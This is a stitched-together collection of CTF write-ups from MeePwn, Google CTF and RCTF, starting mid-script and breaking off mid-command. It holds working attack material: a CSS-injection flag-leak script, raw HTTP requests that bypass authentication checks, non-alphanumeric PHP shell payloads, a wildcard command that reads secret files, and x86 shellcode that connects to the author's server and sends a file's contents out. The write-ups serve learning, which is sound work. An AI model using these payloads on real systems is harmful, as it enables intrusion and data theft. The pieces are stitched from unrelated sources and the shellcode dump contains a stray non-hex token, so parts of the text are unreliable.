window.report = () => { window.grecaptcha.execute(recaptcha_id, {action: 'report'}).then((token) => send('/report ' + token)); } window.sendMessage = function(name, msg){ fetch(`send?name=${encodeURIComponent(name)}&msg=${encodeURIComponent(msg)}`); } window.showDogLove = (name) => sendMessage(name, 'I ❤ dogs!'); window.template = function(middle=''){ var res = ''; var alph = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!-?@_{}~'; for (let c of alph){ let _flag = (window.flag + c).replace(/{/g, '\\7b').replace(/}/g, '\\7d'); res += `span[data-secret^=${_flag}]{background:url(send?name=flag&msg=${_flag})}`; } return pref+middle+res+suf; } function autoFetch() { let last = window.conversation.lastElementChild; var interval = setInterval(function() { var p; while (p = last.nextElementSibling) { last = p; if (p.tagName != 'P' || p.children.length < 2) continue; let name = p.children[0].innerText; let msg = p.children[1].innerText; if(msg == '!solve'){ solve = true; sendMessage('bot', "I has made the machine start!"); window.report(); break; } if(!solve) break; if(/CTF{.+}/.test(window.flag)) { setTimeout(sendMessage, 1000, 'flag', window.flag); solve=false; clearInterval(interval); break; } if(name == 'flag'){ window.flag = msg; window.showDogLove(template()); break; } if(name == 'admin'){ if(msg == 'Bye') window.report(); if(msg.startsWith("I've been notified")){ window.showDogLove(template(flag_style)); window.showDogLove('/secret 123; Domain=asdasd'); } break; } } }, 100); } autoFetch(); })()```### And this is the script in action, very satisfying to watch! ![solution] We can see the flag already. Flag: **CTF{L0LC47S_43V3R}** ## My thoughtsI think I got very unlucky with the task and as I recall correctly I had huge chances to hit the first solve on the problem (had 8-10th on the *JS Safe 2.0* already). After all, the solution consisted of multiple vulnerabilities such as [CSS Injection](#css-injection), [Header Injection](#header-injection), [RegExp Injection](#command-injection-failure), [Insecure Switch Statement](#command-injection-failure) and [Self Injection](#self-injection) used to fetch the flag. So, in my opinion, the task has a good educational potential. Personally, I enjoyed the task very much even though it cost me a significant bunch of hair :)) ___ ## Resources:* [https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005)](https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005))* [https://www.owasp.org/index.php/HTTP_Response_Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting)* [https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF))* [https://www.owasp.org/index.php/CRLF_Injection](https://www.owasp.org/index.php/CRLF_Injection) * [https://www.w3schools.com/html/html_entities.asp](https://www.w3schools.com/html/html_entities.asp)* [https://www.w3schools.com/jsref/dom_obj_all.asp](https://www.w3schools.com/jsref/dom_obj_all.asp)* [https://www.w3schools.com/html/html_css.asp](https://www.w3schools.com/html/html_css.asp)* [https://www.w3schools.com/cssref/css_selectors.asp](https://www.w3schools.com/cssref/css_selectors.asp) * [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie)* [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)* [https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) * [https://developers.google.com/web/tools/chrome-devtools/console/](https://developers.google.com/web/tools/chrome-devtools/console/)* [https://www.google.com/recaptcha/intro/v3beta.html](https://www.google.com/recaptcha/intro/v3beta.html) ## My GitHub profile:* [https://github.com/terjanq](https://github.com/terjanq) ___[CSS Injection]: <https://www.owasp.org/index.php/Testing_for_CSS_Injection_(OTG-CLIENT-005)>[CRLF]: <https://www.owasp.org/index.php/CRLF_Injection>[CSRF]: <https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)>[Header Injection]: <https://www.owasp.org/index.php/HTTP_Response_Splitting>[SQL Injection]: <https://www.owasp.org/index.php/SQL_Injection>[XSS Injection]: <https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)> [CSS Code]: <https://www.w3schools.com/html/html_css.asp>[HTML Entity]: <https://www.w3schools.com/html/html_entities.asp>[DOM Element]: <https://www.w3schools.com/jsref/dom_obj_all.asp>[CSS Selector Rules]: <https://www.w3schools.com/cssref/css_selectors.asp> [documentation]: <https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie>[RegExp]: <https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions>[HTTP Header]: <https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers>[CSP]: <https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP> [Google reCAPTCHA]: <https://www.google.com/recaptcha/intro/v3beta.html> [Tampermonkey]: <http://tampermonkey.net/>[console]: <https://developers.google.com/web/tools/chrome-devtools/console/> [solution]: <./gifs/solution.gif>[command_injection]: <./gifs/command_injection.gif>[css_injection]: <./gifs/css_injection.gif>[header_injection]: <./gifs/header_injection.png>[self_injection]: <./gifs/self_injection.png> [server.js]: <./files/server.js>[catchat.js]: <./files/catchat.js> [cat_talks_solver.user.js]: <./cat_talks_solver.user.js>[cat_talks_minified.js]: <./cat_talks_solver_minified.js> [Issue]: <https://issuetracker.google.com/issues/111032474> [JSFuck]: <http://www.jsfuck.com/>[api.js]: <https://www.google.com/recaptcha/api.js?render=6LeB410UAAAAAGkmQanWeqOdR6TACZTVypEEXHcu>[https://www.google.com/recaptcha/api.js?render=6LeB410UAAAAAGkmQanWeqOdR6TACZTVypEEXHcu');[][(![]+[])...();(']: <https://www.google.com/recaptcha/api.js?render=6LeB410UAAAAAGkmQanWeqOdR6TACZTVypEEXHcu%27%29%3b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%21%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%5d%5b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%21%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%21%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%5b%5d%5b%5b%5d%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%21%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%21%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%5d%28%28%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%21%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%5b%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%5b%28%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%5b%21%5b%5d%5d%2b%5b%5d%5b%5b%5d%5d%29%5b%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%2b%28%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%21%2b%5b%5d%5d%2b%28%21%21%5b%5d%2b%5b%5d%29%5b%2b%21%2b%5b%5d%5d%5d%29%5b%21%2b%5b%5d%2b%21%2b%5b%5d%2b%5b%2b%5b%5d%5d%5d%29%28%29%3b%28%27)>
# OmegaSector – write-up by @terjanq ## Task Description>Wtf !? I just want to go to OmegaSector but there is weird authentication here, please help me >http://138.68.228.12/ ## Part1The very first part of the challenge is about getting the source code of the [index.php] file. In the source of the website, we could find the URL `http://138.68.228.12/?is_debug=1` which exactly does that. The next step is to bypass the following countermeasures to gain the full control of the `$whoareyou` variable. ```php$remote=$_SERVER['REQUEST_URI']; if(strpos(urldecode($remote),'..')) mapl_die(); if(!parse_url($remote, PHP_URL_HOST)) $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI']; $whoareyou=parse_url($remote, PHP_URL_HOST); ``` If we make any request by the web browser the `$_SERVER['REQUEST_URI']` variable will start with `/?` or `/index.php?` or `/index.php/` and so on. But there is always `slash` character at the beginning. So it's a tough task to get the custom hostname in here. At this stage, we can conclude that it is something with `raw HTTP requests`. Imagine the request below:```GET [email protected]/..//index.php?alien=%40!%23%24%40!%40%40 HTTP/1.1Host: 138.68.228.12Connection: close ``` In this payload I managed to cheat the `apache2`, the `parse_url` and the `strpos(urldecode($remote),'..')` at one shoot! `Apache2` will move into a not existing directory `[email protected]` then will go one level down `../` back to the `root` folder. It is important that there are two `slashes` otherwise it won't work. I suppose it is because it just cleverly removes `[email protected]/../` from the file path. My first try after I discovered that we could travel over directories like that was to create `..://alien.somewhere.meepwn.team/../..//index.php` request so the `parse_url` evaluates to: ```Array( [scheme] => .. [host] => alien.somewhere.meepwn.team [path] => /../..//index.php)``` but injecting the `:` in the `directory name` caused the `apache2` to crash. Perhaps it is due to another solution which I will link to at the end of the write-up. The `$_SERVER['REQUEST_URI']` variable has obviously `[email protected]/..//index.php?alien=%40!%23%24%40!%40%40` value. Since `strpos(urldecode($remote),'..')` is `0` it evaluetes to `False` and thus the `mapl` won't `die`. Also `parse_url($remote, PHP_URL_HOST)` won't return the hostname and the `http://127.0.0.1` will be prepended into `$remote` so the whole variable looks like `http://[email protected]/..//index.php?alien=%40!%23%24%40!%40%40`. Now `parse_url` returns ```Array( [scheme] => http [host] => alien.somewhere.meepwn.team [user] => 127.0.0.1.. [path] => /..//index.php [query] => alien=%40!%23%24%40!%40%40)``` Bingo! We have a complete control over the `$whoareyou` variable. We pass a few *ifs* ```if($whoareyou==="alien.somewhere.meepwn.team") ⋮ if($_GET['alien']==='@!#$@!@@') ⋮ $_SESSION['auth']=hash('sha256', 'alien'.$salt); exit(header( "Location: alien_sector.php" )); ``` and get redirected to another stage. I used this `bash script` in order to get the `PHPSESSID` with `auth` set```bashecho -ne 'GET [email protected]/..//index.php?alien=%40!%23%24%40!%40%40 HTTP/1.1\r\nHost: 138.68.228.12\r\nConnection: close\r\n\r\n' | nc 138.68.228.12 80```There are also similar *ifs* for `omega_sector.php` but actualy it had no any use in this challange. ## Part2After having the right `PHPSESSID` in the cookies we get the following form on the `alien_sector.php`:```xml<form action="alien_sector.php" method="POST"><textarea class="shadow" id="main" name="message"></textarea><input type='text' name='type' value='alien' hidden /><button type="submit" id="button"><div class="alien_language">Save</div></button></form>```If we send a message with `non alphanumeric characters` we see `Saved in alien_message/fc11ce87435398abd6a28dd622639988.alien`. In opposition on the `omega_sector` where we only can use `alphanumeric characters`. We can abuse the `type` attribute and we can send the request `type=/../super_secret_shell.php`. The serious restriction was that messages could be at most `40 characters` long. At first, I thought that it is something like `race condition` that two scripts write into one file at the same time resulting in mixed content but it didn't work. Then, inspired by some ideas found on the internet I have created the `reverse shell script` using only `non-alpha chars`: ```php/'^'{{{{';${$_}[_](${$_}[__]); // $_= '$<>/' ^ '{{{{' ----> $_ = '_GET'// ${_GET}[_](${_GET})[__];// final ===```` Even more tricky here using only 33 characters... It calls for shell via `` `...` `` syntax and then uses `shell wildcards` so `/???/???` will match `/bin/cat` and `../??????.???` matches `../secret.php`. Finally, it writes the result to `===` file. Amazing. ## BonusAfter the competition me and @Jelle.V.D golfed a little and managed to get much shorter payloads! - 21 bytes (full shell via `?_=rgrep /var/www MeePwn`)```php
`RCTF 2018 - stringer` challenge contains `Off-By-One` and `Double Free` vulnerabilities. Lesson learned is that if the chunk being allocated is `MMAPED`, the content will not be zero out when using `calloc`. So, by using `Off-By-One` attack, we can set `IS_MMAPED` bit of the target chunk in order to leak a libc address, and then launch the `Fastbin Attack` (https://github.com/shellphish/how2heap/blob/master/fastbin_dup_into_stack.c) by using `Double Free` vulnerability in order to overwrite `__malloc_hook`. This is a good challenge to understand how to exploit `x64_86` binaries with `Full RELRO`, `Canary`, `NX`, `PIE`, and `ASLR` enabled.
# Omega Sector (web, 44 solved, 140p) This was a 2 stage web challenge.Frist part was to get authenticated into the system. ## Authenticate For starters we get [php source code](index.php) by finding hint in the html about `is_debug=1` parameter.The important part is: ```php$remote=$_SERVER['REQUEST_URI']; if(strpos(urldecode($remote),'..')){mapl_die();} if(!parse_url($remote, PHP_URL_HOST)){ $remote='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];}$whoareyou=parse_url($remote, PHP_URL_HOST); if($whoareyou==="alien.somewhere.meepwn.team"){``` After we pass this check we can authenticate.The tricky part is that normally `REQUEST_URI` contains only the file path, not the hostname.And if there is no hostname there, then we get into the condition and overwrite the `$remote` with our own IP.But if we go to https://secure.php.net/manual/pl/reserved.variables.server.php and read a bit we can find: ```Note that $_SERVER['REQUEST_URI'] might include the scheme and domain in certain cases.``` Basically we can send request: ```GET http://human.ludibrium.meepwn.team?human=Yes HTTP/1.0Host: human.ludibrium.meepwn.teamConnection: close ``` And it will pass the check just fine.We can do the same for `alien` and therefore get session cookies authenticated to access `omega_sector.php` and `alien_sector.php`. We can automate this with: ```python from crypto_commons.netcat.netcat_commons import nc s = nc("138.68.228.12", 80) s.sendall("GET http://human.ludibrium.meepwn.team?human=Yes HTTP/1.0\r\nHost: human.ludibrium.meepwn.team\r\nConnection: close\r\n\r\n") print(s.recv(9999)) s = nc("138.68.228.12", 80) s.sendall("GET http://alien.somewhere.meepwn.team?alien=%40!%23%24%40!%40%40 HTTP/1.0\r\nHost: alien.somewhere.meepwn.team\r\nConnection: close\r\n\r\n") print(s.recv(9999))``` ## Exploit Once we get authenticated we can explore new parts of the system.Both look similar - there is a textbox where we can place some input and save it. Once we do this, we get the filepath to the resulting file, for example: `Saved in human_message/239fe816a898ca6b036c5b21970af279.human`And we can verify, the file is there. If we look at the POST request, we can see that we control 2 parameters -> message and type.Type is interesting because it is set to `human` here, and it seems there is no validation.We can change it to `php` if we want. In fact we can go even further, because we can set it to `'/../../alien_message/somefunnyname.php'`, and save file from `human` part in `alien` part if we want to.More importantly, we can control the filename this way. We can automate sending payloads by: ```pythondef send_alien(content, path): r = requests.post('http://138.68.228.12/alien_sector.php', data={'message': content, 'type': path}, headers={'Cookie': 'PHPSESSID=a3bdqr9r40csph3el906dphtc0'}) print(r.text)``` Now the last part is to actually gain RCE and execute some code, because we need to gain access to `secret.php` file.The difficulty is that the charsets are restricted.We run a simple charset checker script and it showed us that basically human can use only letters, digits and whitespaces, and alien can use symbols and punctation.We can't combine them, because the files are always overwritten, so we need to create the payload from only one of those.It's clear we won't get PHP code without ` To execute some code in the system shell.We decided to run: `/???/??? ../??????.??? > ===`. For those unfamiliar with bash path wildcards, `/???/???` matches `/bin/cat`, `../??????.???` matched `secret.php` and `===` is actually a proper filename.So we're actually running `/bin/cat ../secret.php > ===`, efectively copying the secret file contents.This is of course a bit random, because matching is alphabetical and some other 3-letter binary will also match, but we don't care. After that we can simply read contents of `alien_message/===` to get the flag: `MeePwnCTF{__133-221-333-123-111___}`
# Image crackme (re/crypto, 61 solved, 100p) In the challenge we get a [binary](image_crackme.exe) a [sample input](MeePwn.jpg) and [output](MeePwn.ascii.bak).The binary performs some kind of encryption of given payload, using privided key. It was a RE challenge, but code looked horrible, so we decided to try blackboxing this.Especially that task decription was ```Find the key that was used to generate Meepwn.ascii.bakSometimes you don't really need to read the code ``` Once we run the tool a couple of times we noticed that: 1. The payload is always the same len as inputs, so more likely a stream, not block cipher2. The encryption using key `A` and `AA` is identical, so the provided key must somehow be expanded. This indicates some kind of repeating XOR. This can be firther verified by encrypting using `AAAAAA` and `AAAAAB`, in which case every 6th byte differs.3. Since the output charset is very limited, there have to be collisions. We figured that the easiest way to solve this, will be simply brute-forcing the key byte-by-byte, and comparing it with the expected result. ## Length recovery First step was to recover the initial key length: ```pythonwith codecs.open("MeePwn.ascii.bak", "r") as flag_file: reference_data = flag_file.read() def recover_key_len(reference_data): key = "MeePwn" while True: key += 'A' d = popen("image_crackme.exe", 'w') d.write(key) d.close() with codecs.open("MeePwn.ascii", "r") as new_file: data = new_file.read()[2 * len(key):2 * len(key) + 6] second = reference_data[2 * len(key):2 * len(key) + 6] if data == second: print(len(key)) real_len = len(key) break return key, real_len``` What we do, is simply comparing the part of the file encrypted by first "key expansion", so see if it matches.It should be encrypted using `MeePwn` flag prefix as key if we got the length correctly. This way we recover the length = 33. ## Key recovery Now that we know the length, we can proceed to recover the actual flag.We encrypt the reference picture with key consisting of only `A` but the first character we set to every printable char.Then we check if the characters in the output file, which should have been encrypted using first key character, are correct.If so, we got the right char and we can proceed to set another one.It's important to check not only a single character, but characters from next "key expansions", due to conflicts. ```pythonwith codecs.open("MeePwn.ascii.bak", "r") as flag_file: reference_data = flag_file.read() def verify(expansion, data, reference_data, real_len, char_index): return data[expansion * real_len:expansion * real_len + char_index + 1] == reference_data[expansion * real_len:expansion * real_len + char_index + 1] def recover_key(real_len, reference_data): key = list("A" * real_len) for i in range(real_len): for c in string.printable: key[i] = c d = popen("image_crackme.exe", 'w') d.write("".join(key)) d.close() with codecs.open("MeePwn.ascii", "r") as new_file: data = new_file.read() result = True for expansion in range(4): result &= verify(expansion, data, reference_data, real_len, i) if result: key[i] = c break print("current key = ", "".join(key)) return "".join(key)``` And after a moment we get: `MeePwn{g0l4ng_Asc11Art_1S84wS0me}`
TLDR: Load into Metatrader 5, launch, dump process memory, find MeepwnCTF{XXX...} string and there should be "your flag: %s" and "MdgsskESNr]8`am?}"M!KA~$G[v/\x7fvAO\x14S\x16G\x17X" strings nearby. Find xor key and decrypt the Mdg~ string. Thanks for Eternal from P4 (https://twitter.com/EternalRed0) for describing the solution on IRC: ```22:58 <Luna> how does one solve EX5?23:04 <Eternal> Luna: download metatrader5 from the internet. then loadthis script. attach process hacker to the process -> memory -> find all strings of the process -> search for "flag" -> click on something like "you flag is: %s". You ended up in a place with interesting strings. There are strings connected with flag, readinging user input. but one was strange. The first letter was M, you culd xor beggining of this23:04 <Eternal> string witg flag prefix format and you would have got 0,1,2,3,4,5... patern . this is the xor key23:05 <Eternal> I mean 0,1,2....,len(flag) was the key``` An IPython session with pwntools loaded (`import pwn`):```In [14]: ct='MdgsskESNr]8`am?}"M!KA~$G[v/\x7fvAO\x14S\x16G\x17X' # ct flag retrieved from memory dump + hexdump (to get unprintable bytesIn [15]: pt='MeepwnCTF{' # known flag prefixIn [16]: pwn.xor(ct[:len(pt)], pt) # lets see if its a xor/keyOut[16]: '\x00\x01\x02\x03\x04\x05\x06\x07\x08\t'In [17]: ord('\t')Out[17]: 9In [18]: # looks like key is 0, 1, 2, 3, ...In [19]: pwn.xor(ct, list(range(len(ct))))Out[19]: 'MeepwnCTF{W3llc0m3_2_Th3_Bl4ck_P4r4d3}'```
#### MeePWN CTF Quals 2018 - babysandbox (100) - Pwn ##### Challenge Do you know Unicorn engine? Let's bypass my baby sandbox http://178.128.100.75/ #### Summary A web application which contains the web application source code, a binary and an input to send a *payload* to the binary. ![](https://unam.re/static/files/babysandbox_webApp.png) From the web application we can download the binary, the exploitation of the binary is easy because it has a call <payload>, where payload is the user input. So, the goal of this challenge is bypass the filter of the web application, basically, it is a python script which uses unicorn verify the syscalls that we are using in our payload. And It has forbidden the most common syscalls for shellcodes. ```Pythonsys_fork = 2sys_read = 3sys_write = 4sys_open = 5sys_close = 6sys_execve = 11sys_access = 33sys_dup = 41sys_dup2 = 63sys_mmap = 90sys_munmap = 91sys_mprotect = 125sys_sendfile = 187sys_sendfile64 = 239BADSYSCALL = [sys_fork, sys_read, sys_write, sys_open, sys_close, sys_execve, sys_access, sys_dup, sys_dup2, sys_mmap, sys_munmap, sys_mprotect, sys_sendfile, sys_sendfile64]``` [source code](https://unam.re/static/files/babysandbox_source.py) [binary](https://unam.re/static/files/babysandbox) #### Solution The solution is make a shellcode without uses the "BADSYSCALLS" and launch it though the web application. Looking for syscalls that we can use in our payload, we found the following: | Method | System call | Socket syscall | Description || ------------- |:-------------:| :--------------:|-----------:|| socket | 0x66 | 1 (SYS_SOCKET) | Create a socket || connect | 0x66 | 3 (SYS_CONNECT) | Connect a socket || send | 0x66 | 9 (SYS_SEND) | Send data via socket || recv | 0x66 | 10 (SYS_RECV) | Receive data via socket || dup3 | 0x14a | None | Duplicate the file descriptors || openat | 0x127 | None | Open a file relative to a directory file descriptor || pread64 | 0xb4 | None | Read from or write to a file descriptor at a given offset || execve | 0xb | None | It is forbidden by unicorn, but we will bypass it | So, our purpose is make a shellcode which connect to our server and receive the execve syscall number (0xb) from the server, like a *staged* payload. Moreover, as I like assembly programming, I have developed a little piece of code to read files using openat and pread. (Obviously with execve, I could do it as well...) I have pieces of code commented because I changed the shellcode depending of the payload... (I don't know why execve(/bin/bash) doesn't work correctly :@ ) Finally, when I had my execve shellcode, I did a /bin/ls and I saw the flag in /flag. After, I read the file using openat and pread, and sent it via socket to my server. ```assemblyglobal _start section .text_start: xor eax, eax xor ebx, ebx xor eax, eax xor ebx, ebx push eax ; protocol - 0 push 1 ; type - SOCK_STREAM, push 2 ; dominio - AF_INET mov ecx, esp ; arguments mov bl, 1 ; sys_socket (create) mov al, 102 ; systemcall int 0x80 mov esi, eax ; save sockfd xor ecx, ecx push 0x00000000 ; IP Address redacted push word 0xb315 ; Port 5555 push word 2 ; PF_INET mov ecx, esp ; save *addr in ecx push 0x10 ; length addrlen=16 push ecx ; &serv_addr push esi ; sockfd mov ecx, esp ; arguments mov al, 102 ; systemcall mov bl, 3 ; sys_connect int 0x80 mov ebx, esi ; oldfd = clientfd xor ecx, ecx ; ecx = newfd xor edx, edxloop: mov ax, 0x14a int 0x80 inc ecx cmp ecx, 0x2 jle loop ; sys_openat mov eax, 0x127 xor ebx, ebx push ebx ; openat /etc/passwd ;push 0x64777373 ;push 0x61702f63 ;push 0x74652f2f ; openat /flag push 0x67616c66 push 0x2f2f2f2f mov ecx, esp xor edx, edx xor esi, esi int 0x80 ; sys_pread(fd, buff,...) mov ebx, 0x4 mov eax, 0xb4 mov ecx, esp mov edx, -1 xor esi, esi int 0x80 ; socketcall sys_send mov ebx, 9 ;send msg ; arguments xor eax, eax push eax push -1 push ecx push eax mov ecx, esp mov eax, 0x66 int 0x80 ; Reveive execve and pwn! :) ; sys_recv ;xor eax, eax ;mov ebx, esp ;push eax ;push 10 ;push ebx ; file dir ;push eax ;mov ecx, esp ;mov eax, 0x66 ;mov ebx, 10 ;recv msg ;int 0x80 ;add ecx, 16 ;mov al, byte [ecx] ; 0xb ;xor ecx, ecx ;push ecx ;push 0x736c2f6e ;push 0x69622f2f ;mov ebx, esp ;push ecx ;mov edx, esp ;push ebx ;mov ecx, esp ;int 0x80``` Compile the shellcode, encode to base64 and send via web application: ```bashhiro@HackingLab:~/CTF/MeeCTF_2018$ nasm -f elf32 shellcode.asm -o shellcode.ohiro@HackingLab:~/CTF/MeeCTF_2018$ ld shellcode.o -o shellcodehiro@HackingLab:~/CTF/MeeCTF_2018$ objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'"\xformato\x31\xc0\x31\xdb\x31\xc0\x31\xdb\x50\x6a\x01\x6a\x02\x89\xe1\xb3\x01\xb0\x66\xcd\x80\x89\xc6\x31\xc9\x68\xc1\xe9\x3c\x09\x66\x68\x15\xb3\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x89\xf3\x31\xc9\x31\xd2\x66\xb8\x4a\x01\xcd\x80\x41\x83\xf9\x02\x7e\xf4\xb8\x27\x01\x00\x00\x31\xdb\x53\x68\x66\x6c\x61\x67\x68\x2f\x2f\x2f\x2f\x89\xe1\x31\xd2\x31\xf6\xcd\x80\xbb\x04\x00\x00\x00\xb8\xb4\x00\x00\x00\x89\xe1\xba\xff\xff\xff\xff\x31\xf6\xcd\x80\xbb\x09\x00\x00\x00\x31\xc0\x50\x6a\xff\x51\x50\x89\xe1\xb8\x66\x00\x00\x00\xcd\x80"hiro@HackingLab:~/CTF/MeeCTF_2018$ python -c 'print 